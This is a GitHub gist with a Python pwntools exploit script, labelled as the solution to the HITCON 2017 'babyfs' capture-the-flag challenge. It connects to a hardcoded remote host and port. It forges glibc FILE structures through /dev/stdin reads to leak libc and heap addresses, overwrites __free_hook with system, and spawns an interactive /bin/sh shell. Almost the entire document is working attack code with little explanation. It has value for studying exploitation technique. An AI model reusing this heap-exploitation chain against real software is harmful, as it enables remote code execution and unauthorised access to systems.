Skip to content

Instantly share code, notes, and snippets.

@NickStephens
Created November 7, 2017 05:08
Show Gist options
  • Save NickStephens/b4d6dc0823734450fc856a3808bb045d to your computer and use it in GitHub Desktop.
Save NickStephens/b4d6dc0823734450fc856a3808bb045d to your computer and use it in GitHub Desktop.
hitcon 2017 babyfs solution
import sys
from pwn import *
#context.log_level = "DEBUG"
r = remote("localhost", 50216)
r = remote("52.198.183.186", 50216)
def doOpen(filename):
r.recvuntil("choice: ")
r.sendline("1")
r.recvuntil("Filename :")
r.sendline(filename)
mesg = r.recvuntil("\n")
if "Fileindex" in mesg:
return int(mesg.split(" : ")[1])
return -1
def doRead(index, length, content=None, wait=True):
r.recvuntil("choice: ")
r.sendline("2")
r.recvuntil("index :")
r.sendline(str(index))
r.recvuntil("Size :")
if content:
length = len(content)
r.sendline(str(length))
if content:
r.sendline(content)
if wait:
r.recvuntil("Done !")
def doWrite(index):
r.recvuntil("choice: ")
r.sendline("3")
r.recvuntil("index :")
r.sendline(str(index))
out = r.recvuntil("Done !").split("\n")[-1]
return out[0]
def doClose(index, wait=True):
r.recvuntil("choice: ")
r.sendline("4")
r.recvuntil("index :")
r.sendline(str(index))
if wait:
r.recvuntil("Done !")
stdinIndex = doOpen("/dev/stdin")
if doOpen("doesnotexist1234") != -1:
log.failure("could not allocate logger")
sys.exit(1)
log.info("/dev/stdin at index %d" % stdinIndex)
fake_file = "A" * 0x18
fake_file += p64(0xfbad2688)
fake_file += p64(0) * 13
fake_file += p64(1)
doRead(stdinIndex, 0, fake_file)
if doOpen("doesnotexist1234") != -1:
log.failure("could not reallocate logger bufs")
sys.exit(1)
fake_file = "B" * (0x20 - 1) # minus for left over newline
fake_file += p64(0xfffffff0) # flags
fake_file += p64(0) * 3
fake_file += "\xff\xff"
#fake_file += p64(0)
#fake_file += p64(1)
#fake_file += p64(0)
#fake_file += "\xf0\xf0"
doRead(stdinIndex, 0, fake_file)
if doOpen("doesnotexist1234") != -1:
log.failure("could not trigger leak")
sys.exit(1)
data = r.recvuntil("5. Exit")
if len(data) < 400:
log.failure("leak failed to trigger only got %d bytes" % len(data))
sys.exit(1)
print len(data)
print "data:", data.encode('hex')
# get leaks
#offsets 331 1454
leak1= data.find("\x7e")-5
print "leak1 index", leak1
libc_leak = u64(data[leak1:leak1+6] + '\x00\x00')
print "libc_leak:", hex(libc_leak)
leak2 = data.find("\x56")-5
if leak2 == -1:
leak2 = data.find("\x55")-5
heap_leak = u64(data[leak2:leak2+6] + '\x00\x00')
print "leak2 index", leak2
print "heap_leak:", hex(heap_leak)
raw_input("break fopenret 0x12D0 >")
stdinIndex2 = doOpen("/dev/stdin")
print "stdinindex2", stdinIndex2
stdinIndex3 = doOpen("/dev/stdin")
print "stdinindex3", stdinIndex3
libc_base = libc_leak-0x3bdec0
free_hook = libc_base+0x3c3788
print "free_hook", hex(free_hook)
fake_file = p64(0xfbad2489) + p64(free_hook)*7 + p64(free_hook+0x80)
#fake_file = ""
#for j in range(0x10):
# for i in range(256):
# if i == '\x7f' or j == '\x7f':
# continue
# fake_file += "BB" + chr(i) + chr(j)
doRead(stdinIndex2, 0, "/bin/sh\x00" + "A"*0x18 + fake_file, wait=False)
system = libc_base + 0x456A0
# send system
doRead(stdinIndex3, 0, p64(system) + "A"*0x18)
# now close 1 (stdinIndex2)
doClose(stdinIndex2, wait=False)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment